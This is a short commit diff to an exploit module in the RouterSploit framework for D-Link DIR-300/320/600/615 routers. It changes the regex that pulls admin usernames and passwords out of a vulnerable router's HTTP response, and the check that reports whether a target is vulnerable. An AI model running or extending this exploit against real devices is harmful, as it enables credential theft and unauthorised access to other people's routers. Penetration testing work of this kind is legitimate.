Update dir_300_320_600_615_info_disclosure.py (#388)

DIR-300 B1 with firmware 2.02 may have '\nuser' after admin password.

routersploit/modules/exploits/routers/dlink/dir_300_320_600_615_info_disclosure.py

@@ -35,7 +35,7 @@ class Exploit(HTTPClient):
         if response is None:
             return
 
-        creds = re.findall("\n\t\t\t(.+?):(.+?)\n\n\t\t\t", response.text)
+        creds = re.findall("\n\t\t\t(.+?):(.+?)(?:\n\n\t\t\t|\nuser)", response.text)
 
         if len(creds):
             print_success("Credentials found!")
@@ -53,7 +53,7 @@ class Exploit(HTTPClient):
         if response is None:
             return False  # target is not vulnerable
 
-        creds = re.findall("\n\t\t\t(.+?):(.+?)\n\n\t\t\t", response.text)
+        creds = re.findall("\n\t\t\t(.+?):(.+?)(?:\n\n\t\t\t|\nuser)", response.text)
 
         if len(creds):
             return True  # target is vulnerable